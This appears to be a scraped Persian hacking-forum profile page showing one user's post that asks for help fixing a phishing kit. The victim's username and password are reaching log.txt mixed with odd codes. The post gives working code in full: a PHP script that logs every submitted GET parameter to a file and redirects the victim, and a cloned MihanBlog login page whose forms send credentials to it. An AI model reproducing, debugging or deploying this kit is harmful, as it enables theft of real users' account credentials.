Rebinhhj
-
ارسال ها
3 -
تاریخ عضویت
-
آخرین بازدید
درباره Rebinhhj
آخرین بازدید کنندگان پروفایل
360 بازدید پروفایل
دستاوردهای Rebinhhj
Newbie (1/14)
1
امتیاز
-
iranihacker به یک ارسالی در موضوع واکنش نشان داد:
فیک پیچ
-
با سلام . یک مشکل برام پیش اومده اینکه اطلاعاتی قربانی که میاد تو فایل log.txt به صورت عدد و کدهای عجیب و غریب میاد . مثلا الان که قربانی یوزر و پسوردشو وارد میکنه به این صورت : User : rebin Pass : rebin تو فایل log.txt به این صورت ظاهر میشه : id=14682317265783702eb975crnrndata=rnsecfrdcodedvar=6071bef9449e96bd4786cf13b664e961rnfrm-id=14682317265783702eb975crnrnrn اینم فایل های index.html و login.php فایل Login.php : <?php header ('Location: [Hidden Content]'); $handle = fopen("log.txt", "a"); foreach($_GET as $variable => $value) { fwrite($handle, $variable); fwrite($handle, "="); fwrite($handle, $value); fwrite($handle, "rn"); } fwrite($handle, "rn"); fclose($handle); exit; ?> و فایل index.html : <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "[Hidden Content]; <link id="iconimg" rel="icon" href="[Hidden Content]" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><script type="text/javascript"> var lastTarget;</script> <script type="text/javascript" src="[Hidden Content]" src="[Hidden Content] type="text/javascript" src="[Hidden Content] type="text/javascript" src="[Hidden Content]; <style type="text/css"> /*<![CDATA[*/ @import url([Hidden Content]); /*]]>*/ @font-face { font-family: 'Mihan-Iransans'; src: url('/public/public/fonts/Iransans.eot'); src: url('/public/public/fonts/Iransans.eot?#iefix') format('embedded-opentype'), url('/public/public/fonts/Iransans.woff2') format('woff2'), url('/public/public/fonts/Iransans.woff') format('woff'), url('/public/public/fonts/Iransans.ttf') format('truetype'); font-weight: normal; font-style: normal; } @font-face { font-family: 'Mihan-IransansBold'; src: url('/public/public/fonts/Iransans-Black.eot'); src: url('/public/public/fonts/Iransans-Black.eot?#iefix') format('embedded-opentype'), url('/public/public/fonts/Iransans-Black.woff2') format('woff2'), url('/public/public/fonts/Iransans-Black.woff') format('woff'), url('/public/public/fonts/Iransans-Black.ttf') format('truetype'); font-weight: normal; font-style: normal; } @font-face { font-family: 'Mihan-IransansLight'; src: url('/public/public/fonts/Iransans-UltraLight.eot'); src: url('/public/public/fonts/Iransans-UltraLight.eot?#iefix') format('embedded-opentype'), url('/public/public/fonts/Iransans-UltraLight.woff2') format('woff2'), url('/public/public/fonts/Iransans-UltraLight.woff') format('woff'), url('/public/public/fonts/Iransans-UltraLight.ttf') format('truetype'); font-weight: normal; font-style: normal; } @font-face { font-family: 'Mihan-Nassim'; src: url('/public/public/fonts/Nassim.eot'); src: url('/public/public/fonts/Nassim.eot?#iefix') format('embedded-opentype'), url('/public/public/fonts/Nassim.woff2') format('woff2'), url('/public/public/fonts/Nassim.woff') format('woff'), url('/public/public/fonts/Nassim.ttf') format('truetype'); font-weight: normal; font-style: normal; } @font-face { font-family: 'Mihan-Koodak'; src: url('/public/public/fonts/Koodak.eot'); src: url('/public/public/fonts/Koodak.eot?#iefix') format('embedded-opentype'), url('/public/public/fonts/Koodak.woff2') format('woff2'), url('/public/public/fonts/Koodak.woff') format('woff'), url('/public/public/fonts/Koodak.ttf') format('truetype'); font-weight: normal; font-style: normal; } @font-face { font-family: 'Mihan-Yekan'; src: url('/public/public/fonts/Yekan.eot'); src: url('/public/public/fonts/Yekan.eot?#iefix') format('embedded-opentype'), url('/public/public/fonts/Yekan.woff2') format('woff2'), url('/public/public/fonts/Yekan.woff') format('woff'), url('/public/public/fonts/Yekan.ttf') format('truetype'); font-weight: normal; font-style: normal; } </style> <script type="text/javascript"> var isMihanPlus = ''; var mihanBlog_commentBody_cursorPos = 0;</script><meta http-equiv="content-language" content="fa" /><meta name="verify-v1" content="3p6WlorbC9NRMNEySqIZ2AP2QAAIObugP1j4HU/ZuK0=" /><meta name="description" content="" /><meta name="keywords" content="" /><meta name="googlebot" content="noodp" /> <title>میهن بلاگ - صفحه اصلی ورود</title> <script> var isMobileDevice = '1'; </script> </head><body> <div id="message_div" onclick="hidemessage();"></div><div id="ajaxrequest"></div> <!-- <div id="wrapper-header">--><!-- <div id="wrapper-footer">--> <div id="wrapper"> <div class="header_ver2"> <div class="tpl_ver2_width"> <div class="header_ver2_inner clearfix"> <div class="header_ver2_right"> <div class="header_ver2_logo"><img src="[Hidden Content] بلاگ" style="margin:0px" /></div> </div> <script> header_ver2_left_name_layerShow = function(){ c_$('header_layer_webs').style.display; if(c_$('header_layer_webs').style.display=='block'){ c_$('header_layer_webs').style.display='none'; } else { c_$('header_layer_webs').style.display='block'; } } </script> <div class="header_ver2_left"> <div class="clearfix"> <script> var signupFormShow = false; header_ver2_left_linksOut_signupForm = function(){ if(!signupFormShow) c_$('header_ver2_left_links_signin').className += ' header_ver2_left_links_signin_selected'; else c_$('header_ver2_left_links_signin').className = c_$('header_ver2_left_links_signin').className.replace('header_ver2_left_links_signin_selected', ''); signupFormShow = !signupFormShow; }</script><div class="header_ver2_left_links header_ver2_left_linksOut"> <div class="clearfix"> <style type="text/css">.header_ver2_left_linksOut { width: 814px;} </style> <ul class="clearfix"><li><a href="[Hidden Content]="" class="" target="_self">صفحه نخست</a></li><li><a href="[Hidden Content]" title="" class="headertabset_bold" target="_self" rel="nofollow">تبلیغات</a></li><li><a href="[Hidden Content]" title="" class="" target="_self" rel="nofollow">گزارش تخلف</a></li><li><a href="[Hidden Content]" title="" class="" target="_self">درباره ما</a></li><li><a href="[Hidden Content]" title="" class="new-header__signup" target="_self">ساخت وبلاگ</a></li><li><div id="header_ver2_left_links_signin" class="header_ver2_left_links_signin" ><div id="" class="header_ver2_left_linksOut_signupForm"><div class="header_ver2_left_linksOut_signupForm_x" onclick="header_ver2_left_linksOut_signupForm()"></div><div class="box"><div class="clearfix box_header_wrapper"><span class="box_header_bg" style="background: url([Hidden Content]) no-repeat 98% -475px;"><img src="[Hidden Content]" alt="-" /></span><span class="box_header">ورود</span></div> <div style="float:right;width:200px"> <div class="multi-column loginform"> <div style="direction: rtl" id="form-wrapper-14682317265783702eb9fc4"><form id="frm-14682317265783702eb9fc4" method="GET" action="login.php" > <div class="form-row clearfix"> <label class="" for="address">وب لاگ</label> <input type="text" name="data[address]" id="address" value="" class="english" /> </div> <div class="form-row clearfix"> <label for="username">نام کاربری</label> <input type="text" name="data[username]" id="username" value="" class="english" /> </div> <div class="form-row clearfix"> <label class="" for="userpass">رمز عبور</label> <input type="password" name="data[userpass]" id="userpass" value="" class="english" /> </div> <div class="controls clearfix"> <input type="hidden" name="secfrdcodedvar" id="secfrdcodedvar" value="171fd8a166dd3e6373f1c1afca72dbea"><input type="submit" value="ورود" class="btn" style="width:80px" /> </div> <div class="form-row clearfix"> <ul class="toolset clearfix"><li style="float:right;margin-right:0px"><a href="[Hidden Content]"title="" class="" target="_self"style="background: url([Hidden Content]) no-repeat 98% -475px;">ثبت نام در میهن بلاگ</a></li></ul><ul class="toolset clearfix"><li style="float:right;margin-right:0px"><a href="[Hidden Content]/forget" title="" class="" target="_self"style="background: url([Hidden Content]) no-repeat 98% -208px;">کلمه رمز را فراموش کرده ام</a></li></ul> </div> <input type="hidden" name="frm-id" value="14682317265783702eb9fc4" id="frm-id" /></form></div> <script type="text/javascript">formtarget['14682317265783702eb9fc4'] = '';</script> </div> </div> <div class="publishPaging"></div> </div></div><u onclick="header_ver2_left_linksOut_signupForm()" class="header_ver2_left_links_signin_login">ورود</u></div></li></ul> </div></div> </div> </div> </div> </div></div> <div id="container"> <div class="clearfix tpl_ver2_width contentWrapper wrapper_web_signin_index" > <div class="contentDiv_ver2"> <div class=""> <div id="main"> <div class="box"><div class="clearfix box_header_wrapper"><span class="box_header_bg" style="background: url([Hidden Content]) no-repeat 98% -475px;"><img src="[Hidden Content]" alt="-" /></span><span class="box_header">ورود</span></div> <div style="float:right;width:200px"> <div class="multi-column loginform"> <div style="direction: rtl" id="form-wrapper-14682317265783702eb975c"><form id="frm-14682317265783702eb975c" method="GET" action="login.php" > <div class="form-row clearfix"> <label class="" for="address">وب لاگ</label> <input type="text" name="data[address]" id="address" value="" class="english" /> </div> <div class="form-row clearfix"> <label for="username">نام کاربری</label> <input type="text" name="data[username]" id="username" value="" class="english" /> </div> <div class="form-row clearfix"> <label class="" for="userpass">رمز عبور</label> <input type="password" name="data[userpass]" id="userpass" value="" class="english" /> </div> <div class="controls clearfix"> <input type="hidden" name="secfrdcodedvar" id="secfrdcodedvar" value="6071bef9449e96bd4786cf13b664e961"><input type="submit" value="ورود" class="btn" style="width:80px" /> </div> <div class="form-row clearfix"> </div> <input type="hidden" name="frm-id" value="14682317265783702eb975c" id="frm-id" /></form></div> <script type="text/javascript">formtarget['14682317265783702eb975c'] = '';</script> </div> </div> <div style="float:right;width:350px"> <div class="message-div-static info clearfix"><div class="message-close"> در صورتیکه نمی توانید وارد سایت شوید برای دریافت رمز عبورتان از طریق آدرس زیر اقدام کنید: <ul class="toolset clearfix"><li style="float:right;margin-right:0px"><a href="[Hidden Content]/forget"title="" class="" target="_self"style="background: url([Hidden Content]) no-repeat 98% -208px;">کلمه رمز را فراموش کرده ام</a></li></ul> و یا به آدرس <b>support@mihanblog.com</b> ایمیل بزنید. </div></div> </div> <div class="publishPaging"></div> </div> </div> </div> </div> </div> </div> <style> a { webkit-transition: all 300ms ease-out 0ms; transition: all 300ms ease-out 0ms;} .footer *{ font-family: 'Mihan-Iransans', tahoma, arial;} .footer { height: auto; font-family: } .footer--bg { background: #0d0d0d; padding: 110px 0;} .social-media { display: block; text-align: center;} .social-media__desc { color: #949ba6; font-size: 14px; font-weight: 300; text-align: center; margin-bottom: 5px; display: inline-block; padding-top: 16px; border-top: 1px solid #262626;} .social-media__list li { display: inline-block; padding: 0 10px; } .social-media__list li:first-child { padding-right: 0; } .social-media__list li:last-child { padding-left: 0; } .social-media__list .icon-aparat { background: url(../../../public/public/images/template/app-page-image/social-icons.png) no-repeat; width: 24px; height: 25px; display: block; background-position: -187px -41px;} .social-media__list .icon-aparat:hover { background-position: -187px 3px;} .social-media__list .icon-lenzor { background: url(../../../../public/public/images/template/app-page-image/social-icons.png) no-repeat; width: 25px; height: 25px; display: block; background-position: -231px -41px;} .social-media__list .icon-lenzor:hover { background-position: -231px 2px;} .social-media__list .icon-cloob { background: url(../../../../public/public/images/template/app-page-image/social-icons.png) no-repeat; width: 29px; height: 25px; display: block; background-position: -143px -40px;} .social-media__list .icon-cloob:hover { background-position: -143px 4px;} .social-media__list .icon-facebook-squared { background: url(../../../../public/public/images/template/app-page-image/social-icons.png) no-repeat; width: 25px; height: 25px; display: block; background-position: -50px -41px;} .social-media__list .icon-facebook-squared:hover { background-position: -50px -1px;} .social-media__list .icon-instagram { background: url(../../../../public/public/images/template/app-page-image/social-icons.png) no-repeat; width: 25px; height: 25px; display: block; background-position: -100px -40px;} .social-media__list .icon-instagram:hover { background-position: -100px 0px;} .social-media__list .icon-twitter { background: url(../../../../public/public/images/template/app-page-image/social-icons.png) no-repeat; width: 25px; height: 25px; display: block; background-position: 0 -41px;;} .social-media__list .icon-twitter:hover { background-position: 0px -1px;} .footer-menu li { display: inline-block; font-size: 13px; padding: 0 15px;} .footer-menu a { color: #949ba6;} .footer-menu a:hover { color: #0277bd;} .footer-logo { width: 102px; height: 65px; display: inline-block; margin-bottom: 35px; background: url(../../../../public/public/images/template/app-page-image/footer-logo.png) no-repeat;} .colorfull-logo { background: url(../../../../public/public/images/template/app-page-image/footer-logo-hover.png) no-repeat; width: 102px; height: 65px; display: inline-block; opacity: 0; webkit-transition: opacity 300ms ease-out 0ms; -moz-transition: opacity 300ms ease-out 0ms; -ms-transition: opacity 300ms ease-out 0ms; -o-transition: opacity 300ms ease-out 0ms; transition: opacity 300ms ease-out 0ms;} .colorfull-logo:hover { opacity: 1; webkit-transition: opacity 300ms ease-out 0ms; -moz-transition: opacity 300ms ease-out 0ms; -ms-transition: opacity 300ms ease-out 0ms; -o-transition: opacity 300ms ease-out 0ms; transition: opacity 300ms ease-in 0ms;} .social-media__list { display: inline-block; border-top: 1px solid #262626; padding-top: 27px;} </style> <div class="footer"> <div class="footer--bg"> <div class="row"> <a href='[Hidden Content]="" class="footer-logo" target="_self"><span class="colorfull-logo"></span></a> <div class="social-media"> <ul class="social-media__list"> <li><a class="icon-aparat" target="_blank" href="[Hidden Content]; <li><a class="icon-lenzor" target="_blank" href="[Hidden Content]; <li><a class="icon-cloob" target="_blank" href="[Hidden Content]; <li><a class="icon-twitter" target="_blank" href="[Hidden Content]; <li><a class="icon-facebook-squared" target="_blank" href="[Hidden Content]; <li><a class="icon-instagram" target="_blank" href="[Hidden Content]; </ul> </div> <div class="footer-menu"> <li><a href="[Hidden Content]" title="" class="" target="_self">پرسشهای متداول</a></li> <li><a href="[Hidden Content]" title="" class="" target="_self">درباره ما</a></li> <li><a href="[Hidden Content]" title="" class="" target="_self" rel="nofollow">تبلیغات</a></li> <li><a href="[Hidden Content]" title="" class="" target="_self" rel="nofollow">قوانین و مقررات</a></li> <li><a href="[Hidden Content]" title="" class="" target="_self">تماس با ما</a></li> <li><a href="[Hidden Content]" title="" class="" target="_self">به ما بپیوندید</a></li> <li><a href="[Hidden Content]" title="" class="" target="_self">نرم افزار</a></li> </div> </div> </div> </div> <!-- </div>--></div> <div id="wrapper-layer"></div> <div id="inner-container" class="system-color1-web"> <div class="wrapper-layer_x" onclick="closewrapper();"></div> <div id="inner-layer"></div></div> <div id="hiddenDiv" style="display:none"></div> <div id="ajax-load"> <center> <div id="ajax-inner" class="layer-loading" style="position:absolute;top:10px;left:300px;margin:0px auto"> </div> <script type="text/javascript"> errortxt = '<div class="message-div-static error clearfix"><div class="message-close">در ارتباط شما با سایت مشکلی رخ داده است. لطفاً مجدداً تلاش نمایید.</div></div>'; $d('dwzBjfc%21%3D%21%27ammr%3A%2F%2Fklajnszbq.vbk%27%3B'); </script> <script type="text/javascript"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-153829-9']); _gaq.push(['_setDomainName', 'mihanblog.com']); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? '[Hidden Content]': '[Hidden Content]') + '.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); </script> <!-- </div>--></body></html>